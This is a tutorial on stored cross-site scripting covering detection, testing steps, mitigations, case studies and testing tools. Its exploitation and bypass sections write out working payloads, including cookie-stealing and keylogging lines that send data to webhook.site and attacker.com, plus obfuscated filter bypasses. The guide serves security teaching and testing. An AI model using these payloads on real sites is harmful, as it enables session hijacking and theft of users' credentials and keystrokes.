Understanding Stored Cross-Site Scripting (XSS)
Stored Cross-Site Scripting (XSS) is one of the most severe web vulnerabilities, allowing attackers to inject malicious scripts into a web application. Unlike reflected XSS, these scripts are permanently stored on the server and execute in the browsers of all users who access the compromised page. This makes stored XSS particularly dangerous, as it can affect multiple users without requiring social engineering.
How Stored XSS Works
Stored XSS occurs when a web application fails to properly sanitize user input, allowing malicious JavaScript to be saved in a database, comment field, or other persistent storage. When other users load the affected page, the script executes in their browsers, enabling attackers to:
- Steal session cookies or authentication tokens
- Redirect users to phishing or malicious sites
- Perform actions on behalf of the user (e.g., changing account settings)
- Inject keyloggers or other malicious scripts
Critical Note: Stored XSS does not require user interaction beyond visiting the vulnerable page, making it a high-impact threat.
Identifying Stored XSS Vulnerabilities
Common Attack Vectors
Stored XSS typically exploits input fields where user-provided data is stored and later rendered, such as:
- Comment sections
- User profiles (e.g., bio, name, or avatar fields)
- Contact forms or message boards
- File upload metadata (e.g., filenames or descriptions)
Initial Indicators
To detect stored XSS, look for:
- Input fields that persist data (e.g., form submissions saved to a database)
- Dynamic content rendering without proper output encoding
- JavaScript execution when revisiting a page after submitting input
Testing for Stored XSS
Step-by-Step Testing Strategy
-
Submit a Test Payload
- Use a simple payload like
test<script>alert('XSS')</script>in a vulnerable field. - Check if the script executes when the page reloads or when another user visits it.
- Use a simple payload like
-
Analyze Input Reflection
- Use DevTools (F12) to inspect how the input is rendered in the DOM.
- Determine if the payload is:
- Rendered as raw HTML (e.g., inside a
<div>) - Embedded in an HTML attribute (e.g.,
<img src="user_input">) - Escaped or sanitized (e.g.,
<converted to<)
- Rendered as raw HTML (e.g., inside a
-
Verify Persistence
- Submit a payload, then reload the page or log in as another user.
- Confirm the script executes without resubmitting the input.
-
Test for Bypasses
- If basic payloads fail, try:
- Event handlers:
<img src=x onerror=alert('XSS')> - Polyglot payloads (e.g.,
jaVasCript:/*-/*alert(1)*/) - Encoded payloads (e.g., URL or HTML encoding)
- Event handlers:
- If basic payloads fail, try:
Exploitation Techniques
Basic Payloads
| Payload Type | Example | Use Case |
|---|---|---|
| Script Tag | <script>alert(document.cookie)</script> | Steal cookies (if not HttpOnly) |
| Event Handler | <img src=x onerror=alert('XSS')> | Bypass script tag filters |
| JavaScript URI | <a href="javascript:alert(1)">Click</a> | Execute code on interaction |
Advanced Exploitation
- Data Exfiltration:
Use a webhook (e.g., webhook.site) to send stolen data:
fetch('https://webhook.site/your-id', { method: 'POST', body: document.cookie }); - Session Hijacking:
If cookies are accessible, send them to an attacker-controlled server:
new Image().src = 'https://attacker.com/steal?cookie=' + document.cookie; - Keylogging:
Capture keystrokes and send them to a remote server:
document.onkeypress = function(e) { fetch('https://attacker.com/log?key=' + e.key); };
Mitigation and Prevention
Developer Best Practices
- Input Sanitization:
Strip or escape dangerous characters (e.g.,
<,>,&,",') before storing or rendering user input. - Output Encoding: Use context-aware encoding (e.g., HTML, JavaScript, or URL encoding) when displaying user-generated content.
- Content Security Policy (CSP):
Implement CSP headers to restrict inline scripts and external resources:
Content-Security-Policy: script-src 'self'; object-src 'none'; - HttpOnly Cookies:
Set
HttpOnlyflag on session cookies to prevent JavaScript access. - Framework Protections: Use modern frameworks (e.g., React, Angular) with built-in XSS protections.
User Protections
- Use browser extensions like NoScript or uBlock Origin to block malicious scripts.
- Regularly clear cookies and browser data to limit exposure.
Common Pitfalls and Limitations
Why Payloads Fail
- Input Sanitization:
The application may strip or encode special characters (e.g.,
<→<). - Content Security Policy (CSP): CSP headers may block inline scripts or external requests.
- HttpOnly Cookies:
Session cookies marked as
HttpOnlycannot be accessed via JavaScript. - DOM-Based Restrictions:
The payload may be rendered in a context where scripts cannot execute (e.g., inside a
<textarea>).
Bypass Techniques
- Obfuscation:
Use encoded or obfuscated payloads to evade filters:
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script> - Alternative Vectors:
Exploit less common contexts, such as:
- SVG files:
<svg onload=alert('XSS')> - CSS injection:
<style>@import'javascript:alert(1)';</style> - JSON responses:
{"data": "<script>alert(1)</script>"}
- SVG files:
Real-World Examples
Case Study: Social Media Platform
- Vulnerability: A comment field allowed unfiltered HTML input.
- Exploit: Attackers posted
<script src="https://attacker.com/malware.js"></script>. - Impact: Every user who viewed the comment executed the script, leading to mass account takeovers.
Case Study: E-Commerce Site
- Vulnerability: Product reviews stored unsanitized user input.
- Exploit:
<img src=x onerror="window.location='https://phishing-site.com'"> - Impact: Users were redirected to a fake login page, stealing credentials.
Tools for Testing and Exploitation
| Tool | Purpose | Example Usage |
|---|---|---|
| Burp Suite | Intercept and modify HTTP requests | Test input reflection and payloads |
| OWASP ZAP | Automated vulnerability scanning | Detect XSS vulnerabilities |
| XSS Hunter | Blind XSS testing | Log successful payload executions |
| BeEF | Browser exploitation framework | Hook browsers and execute commands |
| Webhook.site | Data exfiltration | Capture stolen cookies or tokens |
Learn More
Official Resources
- OWASP XSS Prevention Cheat Sheet
- PortSwigger Web Security Academy: Stored XSS
- Mozilla Developer Network: XSS
Hands-On Practice
- PortSwigger Labs: Stored XSS Labs
- Hack The Box: XSS Challenges
- XSS Game by Google: XSS Challenges
Further Reading
- The Web Application Hacker’s Handbook – Dafydd Stuttard, Marcus Pinto
- Black Hat Python – Justin Seitz (for advanced exploitation techniques)